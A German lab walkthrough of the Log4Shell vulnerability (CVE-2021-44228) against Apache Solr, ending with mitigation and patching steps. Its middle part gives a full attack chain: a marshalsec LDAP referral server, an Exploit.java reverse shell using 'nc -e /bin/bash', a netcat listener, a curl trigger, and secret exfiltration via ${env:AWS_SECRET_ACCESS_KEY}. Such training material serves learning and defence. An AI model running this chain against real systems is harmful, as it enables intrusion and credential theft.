
Die Log4j-Schwachstelle, auch bekannt als „Log4Shell" oder „CVE-2021-44228", ist ein kritischer Sicherheitsfehler in der Apache-Log4j-Bibliothek. Log4j ist ein weit verbreitetes, auf Java basierendes Logging-Framework, das Entwicklern ermöglicht, Meldungen von Anwendungen an verschiedene Ziele zu protokollieren, wie z. B. Dateien, Datenbanken und Konsolenausgaben.
Die Schwachstelle wurde im Dezember 2021 entdeckt und hat aufgrund ihrer Schwere und ihres Ausnutzungspotenzials große Aufmerksamkeit erlangt. Sie betrifft Log4j-Versionen 2.x und in einigen Fällen sogar frühere Versionen. Die Log4j-Schwachstelle ist eine Schwachstelle zur Remote-Codeausführung (RCE), was bedeutet, dass ein Angreifer durch die Ausnutzung des Fehlers beliebigen Code auf einem Zielsystem ausführen kann. Die Schwachstelle wird durch einen Konstruktionsfehler in der Log4j-Bibliothek verursacht, der mit der Verarbeitung von Protokollmeldungen zusammenhängt, die speziell präparierte Daten enthalten.
Die Ausnutzung der Schwachstelle beruht auf der Fähigkeit, bösartigen Code in die Protokollmeldung einzuschleusen. Dies kann über verschiedene Vektoren erreicht werden, wie z. B. benutzergesteuerte Eingabefelder, HTTP-Request-Header oder andere vom Benutzer bereitgestellte Daten, die an die Protokollanweisung übergeben werden.
Wenn eine verwundbare Anwendung eine Protokollmeldung mit den speziell präparierten Daten verarbeitet, interpretiert Log4j die Daten als einen Java-Naming-and-Directory-Interface(JNDI)-Lookup. Durch die Ausnutzung dieses Verhaltens kann ein Angreifer einen Payload erstellen, der einen JNDI-Lookup auf einem vom Angreifer kontrollierten bösartigen Server auslöst. Dieser Server kann dann mit einem Payload antworten, der auf dem Zielsystem ausgeführt wird, sodass der Angreifer eine Remote-Codeausführung erreichen kann.
Die Auswirkungen der Log4j-Schwachstelle sind schwerwiegend, da Log4j in vielen Java-basierten Anwendungen weit verbreitet ist, darunter Webserver, Anwendungen und Cloud-Dienste. Die Schwachstelle ermöglicht es Angreifern, sich unbefugten Zugang zu betroffenen Systemen zu verschaffen, was möglicherweise zu Datenpannen, Systemkompromittierung und weiterer Ausnutzung der kompromittierten Umgebung führt.
Heute ist log4j Version 2.16.0 verfügbar und schließt diese Schwachstelle (JNDI ist vollständig deaktiviert, die Unterstützung für Message Lookups ist entfernt, und die neue DoS-Schwachstelle CVE-2021-45046 ist nicht vorhanden). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)
Die enorme Gefahr dieser Schwachstelle liegt jedoch darin, wie allgegenwärtig das Logging-Paket ist. Millionen von Anwendungen sowie Softwareanbieter verwenden dieses Paket als Abhängigkeit in ihrem eigenen Code. Während Sie möglicherweise in der Lage sind, Ihre eigene Codebasis mit log4j zu patchen, müssen andere Anbieter und Hersteller ihre eigenen Sicherheitsupdates weiterhin nachgelagert bereitstellen. Viele Sicherheitsforscher haben diese Schwachstelle wegen ihrer enormen Angriffsfläche mit Shellshock verglichen. Wir werden diese Schwachstelle noch jahrelang sehen.
Für eine wachsende, von der Community unterstützte Liste von Software und Diensten, die für CVE-2021-44228 anfällig sind, schauen Sie sich dieses GitHub-Repository an (https://github.com/YfryTchsGD/Log4jAttackSurface)
Obwohl es eine Reihe anderer Artikel, Blogs, Ressourcen und Lernmaterialien zu CVE-2021-44228 gibt, gefallen mir (dem Autor dieser Übung) besonders diese:
Das log4j-Paket fügt Protokollen zusätzliche Logik hinzu, indem es Einträge „parst", um die Daten letztendlich anzureichern -- es kann jedoch zusätzlich Aktionen ausführen und sogar Code basierend auf den Eintragsdaten auswerten. Das ist der Kern von CVE-2021-44228. Andere Syntax könnte tatsächlich genauso ausgeführt werden, wie sie in die Protokolldateien eingegeben wird. Einige Beispiele für diese Syntax sind:
Sie kennen vielleicht bereits den allgemeinen Payload, um diese log4j-Schwachstelle auszunutzen. Das Format der üblichen Syntax, die dies ausnutzt, sieht wie folgt aus:
Diese Syntax zeigt an, dass log4j Funktionen aus „JNDI" bzw. der „Java Naming and Directory Interface" aufrufen wird. Letztendlich kann dies verwendet werden, um auf externe Ressourcen oder „Referenzen" zuzugreifen, was bei diesem Angriff als Waffe eingesetzt wird.
Beachten Sie das „ldap://"-Schema. Dies zeigt an, dass das Ziel über das LDAP-Protokoll einen Endpunkt erreicht (im Falle dieses Angriffs einen vom Angreifer kontrollierten Ort). Der Kürze halber müssen wir hier nicht alle Einzelheiten und Details von LDAP behandeln, aber wissen Sie, dass wir damit arbeiten müssen, während wir unseren Angriff verfeinern. Für den Moment wissen Sie, dass das Ziel tatsächlich eine Verbindung zu einem externen Ort herstellen wird. Dies wird durch den Platzhalter ATTACKERCONTROLLEDHOST in der obigen Syntax angezeigt. Sie, die Sie in diesem Szenario als Angreifer agieren, können einen einfachen Listener hosten, um diese Verbindung zu beobachten.
Die nächste Frage ist: Wo könnten wir diese Syntax eingeben? Überall dort, wo Daten von der Anwendung protokolliert werden.
Das ist der Kern dieser Schwachstelle. Leider ist es sehr schwer zu bestimmen, wo die Angriffsfläche für verschiedene Anwendungen liegt, und folglich, welche Anwendungen tatsächlich verwundbar sind. Das bloße Vorhandensein von log4j-Dateien gibt keinen Aufschluss über die genaue Versionsnummer oder auch nur darüber, wo oder wie die Anwendung das Paket verwendet.
Andere Orte, an denen Sie diese JNDI-Syntax angeben könnten:
Wenn Sie weitere Informationen zu diesem JNDI-Angriffsvektor wünschen, lesen Sie bitte diese Black-Hat-USA-Präsentation aus dem Jahr 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
POC
Ausnutzung An diesem Punkt haben Sie verifiziert, dass das Ziel tatsächlich verwundbar ist, indem Sie diese Verbindung in Ihrem netcat-Listener gesehen haben. Es hat jedoch eine LDAP-Anfrage gestellt ... Ihr netcat-Listener hat möglicherweise nur nicht druckbare Zeichen gesehen (seltsam aussehende Bytes). Wir können nun auf dieser Grundlage aufbauen und mit einem echten LDAP-Handler antworten.
Wir werden ein Open-Source- und öffentliches Dienstprogramm verwenden, um einen „LDAP-Referral-Server" einzurichten. Dieser wird verwendet, um die anfängliche Anfrage des Opfers im Wesentlichen an einen anderen Ort umzuleiten, an dem Sie einen sekundären Payload hosten können, der letztendlich Code auf dem Ziel ausführt. Dies lässt sich wie folgt aufschlüsseln:
Das bedeutet, dass wir einen HTTP-Server benötigen, den wir einfach mit einer der folgenden Optionen hosten können (auf Port 8000):
Die erste Aufgabe ist jedoch die Beschaffung des LDAP-Referral-Servers. Wir werden das marshalsec-Dienstprogramm verwenden, das unter https://github.com/mbechler/marshalsec angeboten wird.
Letztendlich muss dies Java ausführen. Wenn man das README dieses Dienstprogramms überprüft, wird die Verwendung von Java 8 empfohlen. (Sie können mit einer anderen Version Erfolg haben oder auch nicht, aber um „nach den Regeln zu spielen", verwenden wir dieselbe Java-Version wie auf dem Zielrechner).
Siehe Schritte zur lokalen Installation von Java 8:
Führen Sie die folgenden Befehle aus, um Ihr System so zu konfigurieren, dass es diese Java-Version standardmäßig verwendet (passen Sie den Download-Dateisystempfad entsprechend an): Befehle: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modify the version as needed sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
Nachdem Sie die entsprechenden Dateisystemeinstellungen (die update-alternatives-Syntax) oben heruntergeladen, extrahiert und festgelegt haben, sollten Sie „java -version" ausführen können und überprüfen, dass Sie jetzt tatsächlich Java 1.8.0_181 ausführen.
Klonen Sie (https://github.com/mbechler/marshalsec) und wechseln Sie in dieses neue Verzeichnis „marshalsec".
Wir müssen marshalsec mit dem Java-Builder maven bauen. Wenn Sie noch kein maven auf Ihrem System haben, können Sie es über Ihren Paketmanager installieren: Befehl: sudo apt install maven
Führen Sie als Nächstes den Befehl aus, um das marshalsec-Dienstprogramm zu bauen: Befehl: mvn clean package -DskipTests
Mit dem gebauten marshalsec-Dienstprogramm können wir einen LDAP-Referral-Server starten, um Verbindungen zu unserem sekundären HTTP-Server zu leiten (den wir gleich vorbereiten werden). Sie können gerne in die Verwendung, Parameter und andere Einstellungen eintauchen, die mit diesem Tool konfiguriert werden können -- aber zur Demonstration lautet die Syntax zum Starten des LDAP-Servers wie folgt: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.
Nun, da unser LDAP-Server bereit ist und wartet, können wir ein zweites Terminalfenster öffnen, um unseren finalen Payload und den sekundären HTTP-Server vorzubereiten.
Letztendlich führt die log4j-Schwachstelle beliebigen Code aus, den Sie in der Programmiersprache Java erstellen. Wenn Sie mit Java nicht vertraut sind, keine Sorge -- wir verwenden eine einfache Syntax, die schlicht ein Systemkommando aufruft („shells out"). Tatsächlich werden wir eine Reverse-Shell-Verbindung abrufen, um die Kontrolle über den Zielrechner zu erlangen! Erstellen Sie ein neues Verzeichnis und wechseln Sie hinein, in dem Sie diesen Payload hosten können. Erstellen Sie zuerst Ihren Payload in einem Texteditor Ihrer Wahl (mousepad, nano, vim, Sublime Text, VS Code, was auch immer) mit dem spezifischen Namen „Exploit.java" (in diesem Repository bereitgestellt). Passen Sie Ihre Angreifer-IP-Adresse und Portnummer entsprechend an.
Für diesen Payload können Sie sehen, dass wir einen Befehl auf dem Ziel ausführen, insbesondere nc -e /bin/bash, um zu unserem Angriffsrechner zurückzurufen. Sie können jedoch gerne mit anderen Payloads experimentieren.
Kompilieren Sie Ihren Payload mit „javac Exploit.java" und verifizieren Sie, dass es erfolgreich war, indem Sie den Befehl „ls" ausführen und eine neu erstellte „Exploit.class" finden. Mit Ihrem erstellten und kompilierten Payload können Sie ihn nun hosten, indem Sie einen temporären HTTP-Server starten. user@host:~/ python3 -m http.server
Ihr Payload ist erstellt und kompiliert, er wird mit einem HTTP-Server in einem Terminal gehostet, Ihr LDAP-Referral-Server ist in einem anderen Terminal aktiv und wartet -- bereiten Sie als Nächstes einen netcat-Listener vor, um Ihre Reverse-Shell in einem weiteren neuen Terminalfenster zu empfangen:
user@host$ nc -lnvp 9999
Schließlich bleibt nur noch, den Exploit auszulösen und unsere JNDI-Syntax abzufeuern! Beachten Sie die Änderungen der Portnummer (die sich nun auf unseren LDAP-Server bezieht) und die Ressource, die wir abrufen und die unseren Exploit angibt (passen Sie Ihre Angreifer-IP-Adresse entsprechend an): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
Sie haben nun ersten Zugriff und Command-and-Control erhalten. An diesem Punkt kann ein Bedrohungsakteur realistisch gesehen mit dem Opfer tun, was immer er möchte -- sei es Privilege Escalation, Exfiltration, das Installieren von Persistenz, Lateral Movement oder jede andere Post-Exploitation-Aktivität -- möglicherweise das Ablegen von Cryptocurrency-Minern, Remote-Access-Trojanern, Beacons und Implantaten oder sogar das Einsetzen von Ransomware.
Persistenz Nun, da Sie eine Reverse-Shell-Verbindung auf dem Opferrechner erhalten haben, können Sie jede beliebige Aktion ausführen. Um diese log4j-Schwachstelle besser zu verstehen, gewähren wir uns selbst „besseren Zugang", damit wir den Rechner erkunden, die betroffenen Protokolle analysieren und die Schwachstelle sogar entschärfen können!
Wenn Sie Ihre Shell für eine einfachere Befehlseingabe „stabilisieren" möchten, können Sie den üblichen Upgrade-Trick verwenden (vorausgesetzt, Sie laufen in einer bash-Shell. Wenn Sie in zsh laufen, müssen Sie Ihren netcat-Listener in einer bash-Subshell gestartet haben ... es sollte einfach genug sein, erneut zu exploitieren):
Sie haben nun eine stabile Shell, in der Sie sicher die Links- und Rechts-Pfeiltasten verwenden können, um sich in Ihrer Eingabe zu bewegen, die Hoch- und Runter-Pfeiltasten, um den Befehlsverlauf zu durchsuchen, Tab für die Autovervollständigung und sicher Ctrl+C, um laufende Programme zu stoppen!
Erkennung Leider ist es schwierig, Anwendungen zu finden, die für CVE-2021-44228 „Log4Shell" anfällig sind. Das Erkennen von Exploitation könnte sogar noch schwieriger sein, angesichts der unbegrenzten Anzahl potenzieller Bypasses.
Dennoch hat die Informationssicherheits-Community eine unglaubliche Welle an Einsatz und Unterstützung erlebt, um Werkzeuge, Skripte und Code zu entwickeln, um diese Bedrohung besser einzudämmen. Sie können online eine enorme Menge an Ressourcen finden.
Unten finden Sie Auszüge, die bei beiden Bemühungen helfen könnten:
Zur Erinnerung, eine riesige Ressource ist hier verfügbar:
Bypasses Der JNDI-Payload, den ich vorgestellt habe, ist die Standard- und „typische" Syntax für die Durchführung dieses Angriffs. Wenn Sie ein Penetrationstester oder Red-Teamer sind, könnte diese Syntax von Web Application Firewalls (WAFs) abgefangen oder leicht erkannt werden. Wenn Sie ein Blue-Teamer oder Incident-Responder sind, sollten Sie aktiv nach dieser Syntax jagen und sie erkennen.
Da dieser Angriff log4j nutzt, kann der Payload letztendlich auf alle Erweiterungs-, Substitutions- und Templating-Tricks zugreifen, die das Paket verfügbar macht. Das bedeutet, dass ein Bedrohungsakteur alle möglichen Tricks einsetzen könnte, um den Payload zu verstecken, zu maskieren oder zu verschleiern.
In diesem Sinne gibt es ehrlich gesagt eine unbegrenzte Anzahl von Bypasses, um diese Syntax einzuschleusen. Auch wenn wir in dieser Übung nicht ins Detail gehen werden, sind Sie ermutigt, in dieser Umgebung mit ihnen zu spielen. Lesen Sie sie sorgfältig, um zu verstehen, welche Tricks verwendet werden, um die ursprüngliche Syntax zu tarnen.
Es gibt zahlreiche Online-Ressourcen, die einige Beispiele dieser Bypasses zeigen; einige davon finden Sie unten:
Beachten Sie die Verwendung des rmi://-Protokolls im letzten Beispiel. Dies ist eine weitere gültige Technik, die mit dem marshalsec-Dienstprogramm verwendet werden kann -- experimentieren Sie ruhig!
Darüber hinaus können Sie innerhalb der log4j-Engine beliebige Umgebungsvariablen erweitern (als ob das nicht schon schlimm genug wäre). Bedenken Sie den Schaden, der selbst mit Remote-Codeausführung angerichtet werden kann, aber auch mit einer einfachen LDAP-Verbindung und der Exfiltration von ${env:AWS_SECRET_ACCESS_KEY}
Für andere Techniken sind Sie nachdrücklich ermutigt, eigene Nachforschungen anzustellen. In diesem Reddit-Thread wird eine erhebliche Menge an Informationen geteilt: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
Gegenmaßnahmen Nun, da Sie eine Weile als Gegner agiert haben, nehmen Sie bitte Ihren Hacker-Hut ab und lassen Sie uns die Schwachstelle entschärfen. Überprüfen Sie die auf der Apache-Solr-Website vorgeschlagenen Gegenmaßnahmen. (https://solr.apache.org/security.html)
Eine Möglichkeit besteht darin, die Datei „solr.in.sh" manuell mit einer bestimmten Syntax zu ändern. Gehen wir diesen Weg, um diese defensive Taktik zu demonstrieren.
Die Sicherheitsseite der Apache-Solr-Website erklärt, dass Sie diese spezifische Syntax zur Datei solr.in.sh hinzufügen können:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
Ändern Sie die Datei solr.in.sh mit einem Texteditor Ihrer Wahl. Sie benötigen ein sudo-Präfix, um Root-Rechte auszuleihen, falls Sie nicht bereits Root sind. Scrollen Sie zum Ende der Datei und fügen Sie eine neue Zeile mit der obigen Syntax hinzu. Speichern und schließen Sie die Datei.
Nun, da die Konfigurationsdatei geändert wurde, muss der Dienst dennoch neu gestartet werden, damit die Änderungen wirksam werden.
Befehl:
user@host$ sudo /etc/init.d/solr restart
Um zu überprüfen, dass der Patch wirksam wurde, starten Sie wie zuvor einen weiteren netcat-Listener und starten Sie Ihren temporären LDAP-Referral-Server und HTTP-Server (wiederum in separaten Terminals). Sie sollten dasselbe Setup neu erstellen, um den Rechner erneut zu exploitieren.
Sie sollten sehen, dass keine Anfrage an Ihren temporären LDAP-Server gestellt wird, folglich keine Anfrage an Ihren HTTP-Server und ... keine Reverse-Shell an Ihren netcat-Listener zurückgesendet wird!
Patchen Zum Zeitpunkt der Erstellung dieser Übung wurde Apache Solr 8.11.1 noch nicht mit einem formalen Patch für CVE-2021-44228 veröffentlicht. Wie viele andere Softwareanbieter auch, arbeitet die Branche fieberhaft daran, ihre Software zu patchen und sie so schnell wie möglich an die Endbenutzer weiterzugeben.
Bitte stellen Sie, wo angebracht, sicher, dass Sie das Paket logging-log4j auf Version 2.16.0 oder höher patchen (sobald neue Versionen verfügbar sind). In Version 2.16.0 ist JNDI vollständig deaktiviert, die Unterstützung für Message Lookups ist entfernt, und die neue DoS-Schwachstelle CVE-2021-45046 ist nicht vorhanden. Laden Sie diese Version hier herunter: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0Wenn Sie für die Identifizierung verwundbarer Dienste verantwortlich sind, die log4j verwenden, finden Sie hier eine Liste einiger stark betroffener Dienste/Produkte (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/).